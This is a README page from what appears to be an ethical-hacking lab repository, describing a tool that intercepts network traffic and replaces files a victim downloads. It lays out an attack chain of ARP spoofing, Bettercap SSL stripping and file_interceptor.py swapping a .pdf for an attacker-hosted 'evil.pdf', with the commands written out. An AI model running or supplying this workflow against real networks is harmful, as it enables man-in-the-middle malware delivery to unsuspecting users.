Skip to content

Latest commit

 

History

History

file_interceptor

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
README.md
README.md
 
 
file_interceptor.py
file_interceptor.py
 
 

README.md

File interceptor

Requirements

  • Root access
  • Python 3
  • Scapy and NetfilterQueue modules

Usage

usage: file_interceptor.py [-h] [-e EXTENSION] [-d DESTINATION] [-u URL]

File replacement tool (use Bettercap hstshijack/hstshijack for sslstripping)

optional arguments:
  -h, --help            show this help message and exit
  -e EXTENSION, --extension EXTENSION
                        File extension
  -d DESTINATION, --destination DESTINATION
                        sslstrip, forward, or local
  -u URL, --url URL     Replacement url

Example: 
            file_interceptor.py # replace a .pdf with an evil.pdf file in location apache2 server on kali, sslstrip
            file_interceptor.py -e .pdf -u 192.168.122.108/evil/evil.pdf            # replace a .pdf file
            file_interceptor.py -e .pdf -u 192.168.122.108/evil/evil.pdf -d local   # test replacing a .pdf file

Kicking the tyres

  • Choose what type of file to replace, and make sure you have a replacement file in /var/www/html/evil/
  • Run the arp_spoofer.py script
    @kali:~$ sudo python3 arp_spoofer.py
    [sudo] password for <user>: 
    [+] Setting forward
    [+] Packets sent: 63
  • Run bettercap (also see the Troubleshooting section below)
    @kali:~$ sudo bettercap -iface eth0 -caplet hstshijack/hstshijack
  • Run the file_interceptor.py script. Defaults are set to replace a .pdf with an evil.pdf file in the /var/www/html/evil/ location of the Kali apache2 server on the Kali VM, and using sslstrip.
    @kali:~$ sudo python3 file_interceptor.py

And test file is replaced on Windows machine. Clear cache and history of browser first!

Troubleshooting